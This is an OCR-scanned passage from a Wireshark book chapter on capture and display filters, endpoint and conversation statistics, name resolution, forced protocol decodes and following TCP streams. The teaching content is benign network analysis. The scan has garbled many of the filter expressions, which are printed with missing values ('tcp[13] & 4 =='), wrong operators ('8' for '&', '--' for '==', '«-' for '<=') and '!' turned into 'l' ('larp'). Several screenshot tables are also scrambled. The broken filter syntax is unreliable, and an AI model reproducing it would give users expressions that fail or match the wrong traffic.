A common scenario is to capture only TCP packets with the RST flag set. 
We will cover TCP extensively in Chapter 6. For now, you just need to know 
that the flags of a TCP packet are located at offset 13. This is an interesting 
field because it is collectively 1 byte in size as the flags field, but each particu- 
lar flag is identified by a single bit within this byte. Multiple flags can be set 
simultaneously in a TCP packet, so we can’t efficiently filter by a single tcp[13] 
value because several may represent the RST bit being set. Therefore, we 
must specify the location within the byte that we wish to examine by append- 
ing that location to the current primitive with a single ampersand (&). The 
RST flag is at the bit representing the number 4 within this byte, and the fact 
that this bit is set to 4 tells us that the flag is set. The filter looks like this: 


tcp[13] & 4 == 


To see all packets with the PSH flag set, which is identified by the bit 
location representing the number 8, our filter would use that location instead: 


tcp[13] & 8 == 


Sample Capture Filter Expressions 


You will often find that the success or failure of your analysis depends on 
your ability to create filters appropriate for your current situation. Table 43 
shows a few of the capture filters that I use most frequently. 
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Table 4-3: Commonly Used Capture Filters 


Filter Description 

tcp[13] 8 32 == 32 TCP packets with the URG flag set 
tcp[13] & 16 == 16 TCP packets with the ACK flag set 
tcp[13] & 8 == 8 TCP packets with the PSH flag set 
tcp[13] 8 4 == 4 TCP packets with the RST flag set 
tcp[13] & 2 == 2 TCP packets with the SYN flag set 
tcp[13] 8 1 == 1 TCP packets with the FIN flag set 
tcp[13] == 18 TCP SYN-ACK packets 

ether host 00:00:00:00:00:00 Traffic to or from your MAC address 
(replace with your MAC) 

lether host 00:00:00:00:00:00 Traffic not to or from your MAC address 
(replace with your MAC) 

broadcast Broadcast traffic only 

icmp ICMP traffic 

icmp[0:2] == 0x0301 ICMP destination unreachable, host unreachable 
ip IPvA traffic only 

ip6 IPvó traffic only 

udp UDP traffic only 

Display Filters 


A display filter is one that, when applied to a capture file, tells Wireshark to 
display only packets that match that filter. You can enter a display filter in 
the Filter text box above the Packet List pane. 

Display filters are used more often than capture filters because they allow 
you to filter packet data without actually omitting the rest of the data in the 
capture file. That way, if you need to revert back to the original capture, you 
can simply clear the filter expression. 

You might use a display filter to clear irrelevant broadcast traffic from a 
capture file; for instance, to clear ARP broadcasts from the Packet List pane 
when these packets don’t relate to the current problem being analyzed. How- 
ever, because those ARP broadcast packets may be useful later, it’s better to 
filter them temporarily than it is to delete them. 

To filter out all ARP packets in the capture window, simply place your 
cursor in the Filter text box at the top of the Packet List pane and enter !arp 
to remove all ARP packets from the Packet List pane, as shown in Figure 4-12. 
To remove the filter, click the Clear button. 


Filter: | !arp v Expression... Clear Apply 


Figure 4-12: Creating a display filter using the Filter text box above the Packet 
List pane 


The Filter Expression Dialog (the Easy Way) 


The Filter Expression dialog, shown in Figure 4-13, makes it easy for novice 


Wireshark users to create capture and display filters. To access this dialog, 


click the Capture Filter button in the Capture Options dialog, and then click 
the Expression button. 


The left side of the dialog lists all possible protocol fields. These fields 


specify all possible filter criteria. To create a filter, follow these steps: 


l. Toview the specific criteria fields associated with a protocol, expand that 
protocol by clicking the plus (+) symbol next to it. Once you find the 
criterion you want to base your filter on, click to select it. 


2. Choose the way that your selected field will relate to the criterion value 
you supply. This relation is specified as equal to, greater than, less than, 
and so on. 


3. Create your filter expression by specifying a criterion value that will 


relate to your selected field. You can define this value or select it from 


predefined ones programmed into Wireshark. 


4. When you've finished, click OK to view the completed text-only version 
of your filter. 


The Filter Expression dialog is great for novice users, but once you get 


the hang of things, you will find that manually entering filter expressions 
greatly increases their efficiency. The display filter expression syntax struc- 
ture is simple, yet extremely powerful. 


[4] Wireshark: Filter Expression - Profile: Default 


EET 


Field name 


Œ IOXIDResolver - DCOM OXID Resolver 


E IP - Internet Protocol 


ip.version - Version 
ip.hdr len - Header Length 
ip.dsfield - Differentiated Services field 


ip.dsfield.dscp - Differentiated Services Codep _ 
ip.dsfield.ect - ECN-Capable Transport (ECT) — 


ip.dsfield.ce - ECN-CE 

ip.tos - Type of Service 
ip.tos.precedence - Precedence 
ip.tos.delay - Delay 
ip.tos.throughput - Throughput 
ip.tos.reliability - Reliability 
ip.tos.cost - Cost 

ip.len - Total Length 


" J + 


Relation 
is present 


Value (Boolean) 
1 


Predefined values: 


Normal 


Range (offset:length) 


Figure 4-13: The Filter Expression dialog allows for easy creation of filters in 
Wireshark. 
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The Filter Expression Syntax Structure (the Hard Way) 


You will most often use a capture or display filter to filter based on a specific 
protocol. For example, say you are troubleshooting a TCP problem and you 
want to see only TCP traffic in a capture file. If so, a simple tcp filter will do 
the job. 

Now let's look at things from the other side of the fence. Imagine that in 
the course of troubleshooting your TCP problem, you have used the ping 
utility quite a bit, thereby generating a lot of ICMP traffic. You could remove 
this ICMP traffic from your capture file with the filter expression !icmp. 

Comparison operators allow you to compare values. For example, when 
troubleshooting TCP/IP networks, you will often need to view all packets 
that reference a particular IP address. The equal-to comparison operator 
(==) will allow you to create a filter showing all packets with an IP address of 
192.168.0.1: 


ip.addr--192.168.0.1 


Now suppose that you need to view only packets that are less than 128 bytes 
in length. You can use the “less than or equal to” operator (<=) to accomplish 
this goal in a filter expression like this: 


frame.len «- 128 


Table 4-4 shows Wireshark's comparison operators. 


Table 4-4: Wireshark Filter Expression Comparison Operators 


Operator Description 

== Equal to 

l= Not equal to 

> Greater than 

< Less than 

>= Greater than or equal to 
<= Less than or equal to 


Logical operators allow you to combine multiple filter expressions into 
one statement, dramatically increasing the effectiveness of our filters. For 
example, say that we're interested in displaying only packets to two IP addresses. 
We can use the or operator to create one expression that will display packets 
containing either IP address, like this: 


ip.addr--192.168.0.1 or ip.addr--192.168.0.2 


Table 4-5 lists Wireshark's logical operators. 


Table 4-5: Wireshark Filter Expression Logical Operators 


Operator Description 

and Both conditions must be true. 

or Either one of the conditions must be true. 
xor One and only one condition must be true. 
not Neither one of the conditions is true. 


Sample Display Filter Expressions 


Although the concepts related to creating filter expressions are fairly simple, 
you will need to use several specific keywords and operators when creating 
new filters for various problems. Table 4-6 shows some of the display filters 
that I use most often. For a complete list, see the Wireshark display filter ref- 
erence at http://www.wireshark.org/docs/dfref/. 


Table 4-6: Commonly Used Display Filters 


Filter Description 

!tcp.port--3389 Clear RDP traffic 

tcp.flags.syn--1 TCP packets with the SYN flag set 
tcp.flags.rst--1 TCP packets with the RST flag set 

larp Clear ARP traffic 

http All HTTP traffic 

tcp.port==23 || tcp.port 21 Cleartext admin traffic (Telnet or FTP) 

smtp || pop || imap Cleartext email traffic (SMTP, POP, or IMAP) 
Saving Filters 


Once you begin creating a lot of capture and display filters, you will find that 
you use certain ones frequently. Fortunately, you don’t need to type these in 
each time you want to use them, because Wireshark lets you save your filters 
for later use. To save a custom capture filter, follow these steps: 


Select Capture > Capture Filters to open the Capture Filter dialog. 
Create a new filter by clicking the New button on the left side of the dialog. 
Enter a name for your filter in the Filter Name box. 


Enter the actual filter expression in the Filter String box. 


OS BR Oo Ne [0 


Click the Save button to save your filter expression in the list. 


To save a custom display filter, follow these steps: 


Ó 


Select Analyze > Display Filters, or click the Filter button above the 
Packet List pane to open the Display Filter dialog, shown in Figure 4-14. 
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G 
@ Wireshark: Display Filter - Profile: Default 


r Display Filter 
Ethernet address 00:08:15:00:08:15 

Ethernet type 0x0806 (ARP) 

Ethernet broadcast 

No ARP 

IP only 

IP address isn't 192.168.0.1, don't use != for this! 

IPX only 


TCP only 


UDP only 
UDP port isn't 53 (not DNS), don't use != for this! 


r Properties 


Filter name: | IP address 192.168.0.1 


Filter string: |ip.addr == 192.168.0.1 (Expression...) 


Cancel 


Figure 4-14: The Display Filter dialog allows you to save 
filter expressions. 


Create a new filter by clicking the New button on the left side of the dialog. 
Enter a name for your filter in the Filter Name box. 


Enter the actual filter expression in the Filter String box. 


GU on NO 


Click the Save button to save your filter expression in the list. 


Wireshark includes several built-in filters that are great examples of what 
a filter should look like. You will want to use them (together with the Wireshark 
help pages) when creating your own filters. We will use filters in examples 
throughout this book. 


ADVANCED WIRESHARK 
FEATURES 


Once you master the basics of Wireshark, 

the next step is to delve into its analysis and 
graphing capabilities. In this chapter, we'll 
look at some of these powerful features, includ- 
ing the Endpoints and Conversations windows, the 
finer points of name resolution, protocol dissection, 
stream following, IO graphing, and more. 


Network Endpoints and Conversations 


In order for network communication to take place, you must have data flow- 
ing between at least two devices. An endpoint is a device that sends or receives 
data on the network. For instance, there are two endpoints in TCP/IP com- 
munication: the IP addresses of the systems sending and receiving data, such 
as 192.168.1.25 and 192.168.1.30. 
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For example, on layer 2, the communication takes place between two 
physical NICs and their MAC addresses. If the NICs sending and receiving 
data have addresses of 00:ff:ac:ce:0b:de and 00:ff:ac:e0:dc:0f, those addresses 
are the endpoints of communication, as you can see in Figure 5-1. 


Conversation A 


Endpoint A Endpoint B 


00:ff:ac:ce:0b:de O0:ff:ac:eO:dc:Of 


Conversation B 


Endpoint A a Endpoint B 


192.168.1.25 192.168.1.30 


Figure 5-1: Endpoints on a network 


A conversation on a network, like a conversation between two people, 
describes the communication that takes place between two hosts (endpoints). 
For example, Jim and Sally's conversation might consist of, “Hey, how are you?" 
"I'm great! Yourself?" and “Couldn’t be better!" A conversation between 
192.168.1.5 and 192.168.0.8 might look like “SYN,” “SYN/ACK,” and “ACK.” 
(We'll look at the TCP/IP communication process in more detail in Chapter 6.) 


Viewing Endpoints 

When analyzing traffic, you may find that you can pinpoint a problem 
to a specific endpoint on a network. Wireshark's Endpoints window 
(Statistics > Endpoints) shows several helpful statistics for each endpoint 
(see Figure 5-2), including the addresses and the number of packets and 
bytes transmitted and received by each. 

The tabs at the top of the window show all supported and recognized 
endpoints in the current capture file. To narrow the list of endpoints to spe- 
cific protocols, click a tab. Check the Name resolution checkbox to use 
name resolution within the Endpoints window. 

You can use the Endpoints window to filter out specific packets for display 
in the Packet List pane. Right-click a specific endpoint to see several options, 
including the ability to create a filter to display only traffic related to this 
endpoint or all traffic excluding the selected endpoint. You can also export 
the endpoint directly into a colorization rule (coloring rules are discussed in 
Chapter 3). 


ll Endpoints: lotsofweb.pcap arim 
Ethernet: 12 | Fibre Channel | FDDI| IPv4: 95 16:5] IPX | wT] Nce] Rsvp] sae] TCP: E Token Ring] UDP: 10] use] WLAN 
IPv4 Endpoints 
Address 4 Packets 4 Bytes 4 TxPackets 4 TxBytes 4 RxPackets 4 RxBytes 4 Latitude 4 Longitude bM) = 
172.16.16.128 8 324 7 387 292 2790 507 866 5534 6879426 - s | E 
17216.16.255 43 3956 0 0 43 3956 - - Im 
239.255.255.250 23 8577 0 0 23 8577 - - 
172.16.16.2 23 9045 23 9045 0 0- - 
224.0.1.60 1 86 0 0 1 86 - - 
224.0.0.252 28 1848 0 0 28 1848 - - 
205.203.140.65 363 251133 235 179061 128 72072 - - 
4221 103 11426 51 7215 52 4151 - - 
157.166.226.25 48 29167 26 24277 22 4890 - - 
209.85.225.148 67 26631 31 15961 36 10670 - - 
209.85.225.118 164 87053 94 74046 70 13007 - - 
209.85.225.133 101 50738 56 43181 45 7557 - - - 
l| Name resolution - ] Limit to display filter 
Help | | Copy | Map | Close 
d 


Figure 5-2: The Endpoints window lets you view each of the endpoints in a capture file. 


Viewing Network Conversations 


The Wireshark Conversations window (Statistics >» Conversations), shown in 
Figure 5-3, displays the addresses of the endpoints involved in the conversa- 
tion listed as Address A and Address B, and the packets and bytes transmitted 

to and from each device. 

The conversations listed in this window are divided by the protocol 
they use, which can be selected via the tabs at the top of the window. Right- 
clicking a specific conversation allows you to create filters that may be useful, 
such as displaying all traffic transmitted from device A, all traffic received by 
device B, or all traffic communicated between devices A and B. 


(@ Conversations: lotsofweb.pcap army 
Ethernet: 13 | Fibre Channel| FDD) 1:4] x] sxa] Nce] asvp| scre] TCP: 273] Token Ring | UDP: 93| use] WLAN 
IPv4 Conversations 
AddressA — * AddressB — * Packets 4 Bytes 4 Packets A->B 4 Bytes A->B 4 Packets A«-B 4 Bytes A«-B 4 RelStart — ^ 
1721616128 172.16.16.255 43 3956 43 3956 0 0 0.0000000| z 
172.16.16.128 239.255.255.250 2 350 2 350 0 0 0.93090 . 

17216.16.2 17216.16.128 2 818 2 818 0 0 0.2956330 
1721616128  2240.1.60 1 86 1 86 0 0 0.6015650 
1721616128 224.0.0.252 28 1848 28 1848 0 0 0.7541010 
1721616128  205.203.140.65 363 251133 128 72072 235 179061 1.7092310 
4221 172.16.16.128 16 2101 8 1433 8 668 3.0094020 
157.166.226.25 172.16.16.128 48 29167 26 24277 22 4890 3.808700 
172.16.16.128 —209.85.225.148 25 8920 12 4767 13 4153 3.419560 
1721616128 ^ 209.85.225118 164 87053 70 13007 94 74046 3.2420630 
172.16.16.128 — 209.85.225.133 101 50738 45 7551 56 43181 3.2422230 
74.125.166.28 172.16.16.128 553 532821 382 519 254 171 13567 3.2428500 ~ 
«I " J , 
[7] Name resolution | ] Limit to display filter 
Help | | Copy Close 


Figure 5-3: The Conversations window lets you interact with each conversation in a 


capture file. 
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Troubleshooting with the Endpoints and Conversations Windows 


The Endpoints and Conversations windows are crucial in network trouble- 
shooting, especially when you're trying to locate the source of a significant 
amount of traffic on the network or determine which one of your servers is 
talking the most. 

For example, when you open the file lotsofweb.pcap, you will see a lot of 
HTTP traffic representing multiple clients browsing the Internet. If you start 
by viewing the Endpoints window, you can immediately draw some conclu- 
sions about the traffic you are viewing. 

Looking at the IPv4 tab (see Figure 5-4), you see that your first address 
when sorting by bytes is the local 172.16.16.128 address, meaning this device 
on your network is the top talker (host responsible for the most communica- 
tion) among your data set. The second address of 74.125.103.163 is a non- 
local address, so at this point, you can assume that you have one client talking 
to this IP address a lot, or that multiple clients are talking to it a moderate 
amount. A quick WHOIS (Attp://whois.arin.net/ui/) tells you that this IP 
address belongs to Google, and perusing the packets will identify this as 
YouTube traffic. 


IP address assignments are managed by different entities, depending on their geographic 
location. In our example here, we used the American Registry for Internet Numbers 
(ARIN), which is responsible for the IP address assignments of the United States (and 
some surrounding areas). Generally, you would perform a WHOIS for an IP at the 
website of the organization responsible for that IP. If you don't know the geographic 
region and perform the search at the wrong registry site, you will be pointed toward 
the right location. Some other such address registries include AfriNIC (Africa), RIPE 
(Europe), and APNIC (Asia/Pacific). 


w Endpoints: lotsofweb.pcap l = <=) 
Ethernet: z| Fibre Channel| FDDI| IPv4: 95 | IPv6: 5] IPX | JXTA nop] RSvP| scre] TCP: 358 Token Rin] UDP: 106] use| WLAN| 
IPv4 Endpoints 
Address 4 Packets Y Bytes 4 TxPackets 4 TxBytes 4 RxPackets 4 RxBytes 4 Latitude 4 Longitude MOS 
172.16.16.128 8324 7387 292 2790 507866 5534 6879426 - x | = | 
74.125.103.163 3927 4232435 2882 4173482 1045 58953 - - = 

172.16.16.136 2349 1455670 1137 213891 1212 1241779 - 
172.16.16.197 2157 1073 399 1107 221885 1050 851514 - 
66.35.45.201 1106 807006 596 702314 510 104 692 - 
74125103147 608 633494 435 620562 173 12932 - 
74.125.166.28 553 532821 382 519254 171 13567 - 
64.208.21.43 551 357373 309 280 314 242 71059 - 
74.125.95.149 543 409144 336 365 266 207 43878 - 
65.173.218.96 473 331336 263 305759 210 25577 - 
4.23.40.126 451 318740 234 290184 217 26899 - 
204.160.126.126 449 185482 206 118 591 243 66891 - 
7232924 387 130428 190 97 845 197 32583 - - - 
V| Name resolution [7] Limit to display filter 
Help | Copy | l Map | Close 


Figure 5-4: The Endpoints window shows which hosts are talking the most. 


Protocol 


lotsofweb.pcap 


Given this information, would it be safe to assume that your top commu- 
nicating endpoints comprise your largest conversation? If you now open the 
Conversations window and go to the IPv4 tab, you can indeed verify this by 
sorting the list by bytes. In this view, you can see that the traffic is consistent 
with a video download, because the number of bytes transmitted from Address A 
(74.125.103.163) greatly outnumbers the number of bytes transmitted from 
Address B (172.16.16.128) (see Figure 5-5). 


(@ Conversations: lotsofweb.pcap arm 
Ethernet: 13] Fibre Channel| FDDI| IPv4: 103 |IPv6: 4] Px] wx] ncp] rsvp] scre] TCP: z| Token Ring | UDP: a| use] WLAN 
IPv4 Conversations 
AddressA — * AddressB — * Packets v Bytes 4 Packets A->B 4 Bytes A->B 4 Packets A«-B 4 Bytes A«-B 4 RelStatt ^ 
74125103163 172.16.16.128 3927 4232435 2882 4173 482 1045 58953 392470910 | =z 
66.35.45.201 172.16.16.136 1106 807006 596 702314 510 104692 10.3063300 
74125103147 172.16.16.128 608 633494 435 620 562 173 12932 9.9661320 
74.125.166.28 172.16.16.128 553 532821 382 519 254 171 13567 3.2428500 
64.208.21.43 172.16.16.128 551 357373 309 280 314 242 71059 6.0854720 
65.173.218.96 172.16.16.136 473 331336 263 305 759 210 25577 59.4323280 
4.23.40.126 172.16.16.197 451 318740 234 291 841 217 26899 73.0858700 
172.16.16.197 204.160.126.126 449 185482 243 66 891 206 118 591 16.4978080 
7412595149 172.16.16.128 415 323881 2 289 966 144 33915 3.2435920 
722924 17216.16.136 387 130428 190 97 845 197 32 583 14.2455230 
172.16.16.128 — 205.203.140.65 363 251133 128 72072 235 179061 1.7092310 
172.16.16.128 204.160.104.126 327 149268 161 64 263 166 85005 3.3174460 ~ 
«[ " ] D 
[V] Name resolution [7] Limit to display filter 
Help | | Copy | Close 


d 


Figure 5-5: The Conversations window confirms that the two top talkers are communicating 
with each other. 


You will see how to use the Endpoints and Conversations windows in 
practical scenarios later in this book. 


Hierarchy Statistics 


When dealing with extremely large capture files, you sometimes need to 
determine the distribution of protocols in the file—that is, what percentage 
of a capture is TCP, IP, DHCP, and so on. Rather than counting each packet 
and totaling the results, you can use Wireshark's Protocol Hierarchy Statistics 
window, which is a great way to benchmark your network. For instance, if you 
know that 10 percent of your network traffic is usually made up of ARP traffic, 
and one day you take a capture that is 50 percent ARP traffic, then you know 
something might be wrong. 

With the lotsofweb.pcap file still open, open the Protocol Hierarchy Statistics 
window (shown in Figure 5-6) by choosing Statistics >» Protocol Hierarchy. 
Notice that not all totals add up to exactly 100 percent. Because many of the 
packets contain multiple protocols from various layers, the count of each 
protocol as compared to each packet may be off. Nevertheless, you will still 
get an accurate view of the distribution of protocols in the capture file. 
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V Wireshark: Protocol Hierarchy Statistics Ermm] 
Display filter: none 
[Protocol 36 Packets Packets Bytes — Mbit/s End Packets End Bytes End Mbit/s 
| E Ethernet 12899 9931436 0847 0 0 — 000 
E Internet Protocol 12861 9926164 0.847 0 0 — 000 
| E User Datagram Protocol 466% ~~ 24 2892 0.002 0 0 0.000 
NetBIOS Name Service 033% 43 3956 0.000 43 3956 — 0000 
| Hypertext Transfer Protocol 019% 25 9395 0001 235 9395 — 001 
Service Location Protocol 0.01 % 1 86 000 1 86 — 0000 
Domain Name Service 1.08 % 139 14335 0.001 139 1435 — 0001 
Simple Network Management Protocol 0.03 % 4 — 476 0000 4 — 46 — 000 
Bootstrap Protocol 0.02% 2 684 000 2 684 — 000 
E Transmission Control Protocol 12645 9897140 0.845 10867 8888570 0.759 
E) Hypertext Transfer Protocol EN — G5 177 1008467 oo 1406 749881 0.064 
Line-based text data | | — — —aUu* ~~~ 253 107366 0009 151 107366 0009 
Media Type 022% 29 19543 0.002 29 19543 000 
Compuserve GIF 075% 97 55941 0.005 97 55941 0005 
JPEG File Interchange Format 052% 67 58947 0005 67 58947 0005 
E Portable Network Graphics 012% 16 10843 0001 14 o1- 000 
Malformed Packet 002% 2 1332 0000 2 132 — 000 
eXtensible Markup Language 0.09 % 11 5946 0.001 11 5946 — 000 
| Secure Socket Layer 001 % 1 103 0000 1 10 — 000 
i Internet Group Management Protocol 002% 2 92 000 2 92 — 0000 
| E Internet Protocol Version 6 025% 32 5020 0.000 0 0 — 000 
E User Datagram Protocol 025% 32 5020 0.000 0 0 — 000 
Domain Name Service 022% 28 2408 0.000 28 — 2408 0000 
Data 0.02 % 2 2304 0000 2 20 — 000 
DHCP 002% 2 308 0000 2 38 os% 
Address Resolution Protocol 005% 6 252 0000 6 252 000 


Figure 5-ó: The Protocol Hierarchy Statistics window shows the distribution of various 


protocols. 


The Protocol Hierarchy Statistics window is often one of the first win- 


dows you look at when examining traffic. It really gives you a good snapshot 
of the type of activity occurring on a network. As you begin to look at more 
traffic, you will eventually be able to profile the users and devices on a net- 
work just by looking at the distribution of protocols in use. I've found that 
simply by looking at traffic from a network segment, I can often immediately 
identify the network segment as belonging to the IT department due to the 
presence of administrative protocols such as ICMP or SNMP, or to the order- 
fulfillment department due to the high volume of SMTP traffic, or even to 
that pesky new intern in the corner with his World of Warcraft traffic! 


Name Resolution 


Chapter 5 


Network data is transported via various alphanumeric addressing systems 
that are often too long or complicated to remember, such as the physical 
hardware address 00:16:CE:6E:8B:24. Name resolution (also called name 
lookup) is the process a protocol uses to convert one identifying address 
into another. For example, while a computer might have the physical MAC 
address 00:16:CE:6E:8B:24, the DNS and ARP protocols allow us to see its 
name as Marketing-2.domain.com. By associating easy-to-read names with these 
cryptic addresses, we make them easier to remember and identify. 


Enabling Name Resolution 


To enable name resolution, open the Capture Options dialog by choosing 
Capture > Options. As shown in Figure 5-7, three types of name resolution 
are available in Wireshark: 


MAC name resolution This type of name resolution uses the ARP 
protocol to attempt to convert layer 2 MAC addresses, such as 
00:09:5B:01:02:03, into layer 3 addresses, such as 10.100.12.1. If 
attempts at these conversions fail, Wireshark will use the ethers file in 
its program directory to attempt conversion. Wireshark's last resort is 
to convert the first 3 bytes of the MAC address into the device's IEEE- 
specified manufacturer name, such as Netgear. 01:02:03. 


Network name resolution This type of name resolution attempts to 
convert a layer 3 address, such as the IP address 192.168.1.50, into an 
easy-to-read DNS name such as MarketingPC1.domain.com. 


Transport name resolution This type of name resolution attempts to 
convert a port number into a name associated with it. An example of this 
would be to display port 80 as http. 


em Resolution ——— — — —— 


[E] Enable MAC name resolution 


V| Enable network name resolution 


Figure 5-7: Enabling name 
V] Enable transport name resolution || resolution in the Capture 
| Options dialog 


You can leverage the various name resolution tools to make your capture 


files more readable and to save a lot of time in certain situations. For example, 
you can use DNS name resolution to help readily identify the name of a com- 
puter you are trying to pinpoint as the source of a particular packet. 


Potential Drawbacks to Name Resolution 


Given its benefits, using name resolution may seem like a no-brainer, but 
there are some potential drawbacks, including the following: 


Name resolution can fail, typically because the name is unknown by the 
name server the query was sent to. 


Name resolution must take place every time you open a specific capture 
file because this information is not saved in the file. This means that if 
the servers that a file’s name resolution depends on are not available, 
name resolution will fail. 


The dependence on DNS may cause additional packets to be generated. 
The resulting traffic to resolve all DNS-based addresses will cloud your 
capture file. It’s typically a rule of thumb that you don’t want to see your 
own traffic on the wire when analyzing another issue. 
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e Name resolution requires additional processing overhead. If you are 
dealing with a very large capture file and are running low on memory, 
you may want to forgo the name resolution feature in order to conserve 
system resources. 


Protocol Dissection 
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A protocol dissector allows Wireshark to break down a protocol into various 
sections so that it can be analyzed. For example, the ICMP protocol dissector 
allows Wireshark to take the raw data off the wire and format it as an ICMP 
packet. 

You can think of a dissector as the translator between the raw data flow- 
ing across the wire and the Wireshark program. In order for a protocol to 
be supported by Wireshark, it must have a dissector built into it (or you can 
write your own in C or Python). 

Wireshark uses several dissectors in unison to interpret each packet. It 
determines which dissectors to use by using its programmed logic and mak- 
ing a well-educated guess. 


Changing the Dissector 


Unfortunately, Wireshark does not always make the right choices when 
selecting the dissector to use on a packet. This is especially true when it is 
using a protocol on the network in a nonstandard configuration, such as a 
nondefault port (which is often configured by network administrators as a 
security precaution or by employees trying to circumvent access controls). 
Luckily, we can change the way Wireshark implements certain dissectors. 

For example, open the trace file wrongdissector.pcap. Notice that this file 
contains a bunch of SSL communication between two computers. SSL is the 
Secure Socket Layer protocol, which is used for secure encrypted communi- 
cation between hosts. Under most normal circumstances, viewing SSL traffic 
in Wireshark won’t yield much usable information due to its encrypted nature. 
However, there is something definitely wrong here. If you peruse the contents 
of several of these packets by clicking them and examining the Packet Bytes 
pane, you will quickly find plaintext traffic. In fact, if you look at packet 4, 
you will find mention of the FileZilla FTP server application. The next few 
packets clearly display a request and response for both a username and a 
password. 

If this were actually SSL traffic, you wouldn’t be able to read any of the 
data contained in the packets, and you certainly wouldn’t see all usernames 
and passwords transmitted in the clear (see Figure 5-8). Given the information 
that is shown here, it is safe to assume that this is probably FTP traffic, rather 
than SSL traffic. This is most likely because this FTP traffic is using port 443, 
which is the standard port used for HTTPS (HTTP over SSL). 


WARNING 


E 8 0.036053 192.168.0.82 192.168.053 SSL Continuation Data [EI 


E Frame 8: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 
|& Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:0c:29:25:02:5e (00:0c:29:25:02:5e) 

|& Internet Protocol, Src: 192.168.0.82 (192.168.0.82), Dst: 192.168.0.53 (192.168.0.53) 

|& Transmission Control Protocol, src Port: 1492 (1492), Dst Port: 443 (443), Seq: 253948672, Ack: 189275093, Len: 12 
Secure Socket Layer 


0010 00 34 37 68 40 00 80 06 00 00 cO a8 00 52 cO a8  .47h&.., . 


0020 00 35 05 d4 O1 bb Of 22 f3 00 Ob 48 1b d5 50 18 lllHl.P. 
[0030 01 00 81 fe 00 00 à 0 6i 64 6d 69 6e| Mus ER admin] 
(0040 SERE 


«Ex » || 


Figure 5-8: Plaintext usernames and passwords? This looks more like FTP than SSL! 


To fix this problem, you can force Wireshark to use the FTP protocol 
dissector on these packets, a process referred to as a forced decode. To perform 
this process: 


l. Right-click one of the SSL packets and select Decode As. This will bring 
up a dialog in which you can select the dissector you wish to use. 


2. Tell Wireshark to decode all TCP source port 443 traffic using the FTP 
dissector by selecting destination (443) from the drop-down menu, and 
then selecting FTP under the Transport tab (see Figure 5-9). 


[^ 
ll] Wireshark: Decode As 


Link | Network| Transport 


@ Decode Fibre Channel over IP ^ 
FIX 
a 
FTP-DATA 

TCP | destination (443) [l port(s) as giFT 
GIOP 
GNUTELLA 


© Do not decode 


Figure 5-9: The Decode As dialog allows you to create forced 
decodes. 


3. Once you have made your selections, click OK to see the changes imme- 
diately applied to the capture file. 


You should see the data nicely decoded so that you can analyze it from 
the Packet List pane without needing to dig deep into its individual bytes. 


The changes you make when creating a forced. decode are not saved. when you save the 
capture file and close Wireshark. You must re-create your forced decodes every time you 
open the capture file. 
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You can use the forced decode Wireshark: Decode As: Sh. 
feature multiple times within the same 
capture file. Because it can be hard to 
keep track of the forced decodes you have 
applied when you use more than one in a 
capture file, Wireshark does this for you. 
From the Decode As dialog, you can click 
the Show Current button to display all 
of the forced decodes you have created 
so far (see Figure 5-10). You can also clear 
them by clicking the Clear button. 


Table Value Initial Current 
TCP port 443 SSL FTP 


Viewing Dissector Source Code 


The beauty of working with an.open Figure 5-10: Clicking the Show 
source application is that if you are con- Current button shows all of the forced 
fused as to why something is occurring, decodes you have created for a cap- 


you can look at the source code and find ture file. 
out the exact reason. This really comes in 

handy when trying to determine why a 

particular protocol has been interpreted 
incorrectly. 

Examining the source code of protocol dissectors can be done directly 
from the Wireshark website by hovering over the Develop link and clicking 
Browse the Code. This link will send you to the Wireshark subversion reposi- 
tory, where you can view the current release code for Wireshark as well as the 
code for previous releases. Clicking the releases folder will present you with all 
of the official Wireshark (and even Ethereal) releases, with the newest at the 
bottom of the list. Once you select the release you want to examine, the pro- 
tocol dissectors can be found in the epan/dissectors folder. Each dissector is 
labeled with packets-protocolname.c. 

These files can be rather complex, but you will find they all follow a 
standard template and tend to be commented very well. You don't need to 
be an expert C programmer to understand the basic function of each dissec- 
tor. If you want to get a truly deep understanding of what you are seeing in 
Wireshark, I recommend at least taking a look at dissectors for some of the 
simpler protocols. 


Following TCP Streams 
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One of Wireshark's most satisfying analysis features is its ability to reassemble 
TCP streams into an easily readable format. Rather than viewing data being 
sent from client to server in a bunch of small chunks, the Follow TCP Stream 
feature sorts the data to make it easier to view. This comes in handy when 
viewing plaintext application layer protocols such as HTTP, FTP, and so on. 
(We'll take a closer look at how these common protocols work in the next 
chapter.) 


For example, let's consider a simple HTTP transaction. Open the file 
hitp_google.pcap. Click any of the TCP or HTTP packets in the file, right-click 
the file, and choose Follow TCP Stream. This will bring up the TCP stream in 
a separate window (see Figure 5-11). 


fg] Follow TCP Stream bala) 


Stream Content: 


GET / HTTP/1.1 a 
Host: www.google.com 

User-Agent: MOzilla/5.0 (windows; U; windows NT 6.1; en-US; rv:1.9.1.7) Gecko/20091221 
Firefox/3.5.7 

Accept: text/html,application/xhtml«xm],application/xml;q-0.9,*/*;q-0.8 
Accept-Language: en-us,en;q-0.5 

Accept-Encoding: gzip,deflate 

Accept-Charset: ISO-8859-1,utf-8; q=0.7,*;q=0.7 

Keep-Alive: 300 

Connection: keep-alive 

cookie: 
PREF-ID-257913a3938e6c248:U-267c896b5f 39f bOb: FF=4 : LD=en: NR=10 : TM=12607 30654 : LM=1265479336:GM=1: ~ 
S-hiUBGOnTuWU3D23L; NID-31-z-nhwMjUP63eO0tYMTp-3T1igMSPnNS1eM1kN1 DUrnO2ZzWlcPM4JjE3AJec9b vG- 
YFibFXszOApfbhBA1BOX4dKx4L8ZDdeiKwqekgP5. kzELtC2mUHx7RHX3PIttCuz 


HTTP/1.1 200 OK 

Date: Tue, 09 Feb 2010 01:18:37 GMT 
Expires: -1 

Cache-Control: private, max-age=0 
Content-Type: text/html; charset-UTF-8 
Content-Encoding: gzip 

Server: gws 

Content-Length: 4633 
X-XSs-Protection: 0 


35 n.n Bo cz g n Pa TONER, Pip poet hey es ton TOz S zo NOTES VES] 
Ey aes seed, tee tet Y Turo NODIS SL. Pig. UUC so his ee 
hh. -6 G. |... e\o - 7.5. . -. B. . kzS. p. 6. .L. Y. ]S. .—. ........9:4. . f... ,"...A.2./ -|| 


[-]e ASCII © EBCDIC © Hex Dump © C Arrays (9) Raw 


Filter Out This Stream | Close } 


Figure 5-11: The Follow TCP Stream window reassembles the communication in an easily 
readable format. 


Notice that the text displayed in this window is in two colors. The red 
text is used to signify traffic from the source to the destination, and the 
blue text is used to identify traffic in the opposite direction, from the desti- 
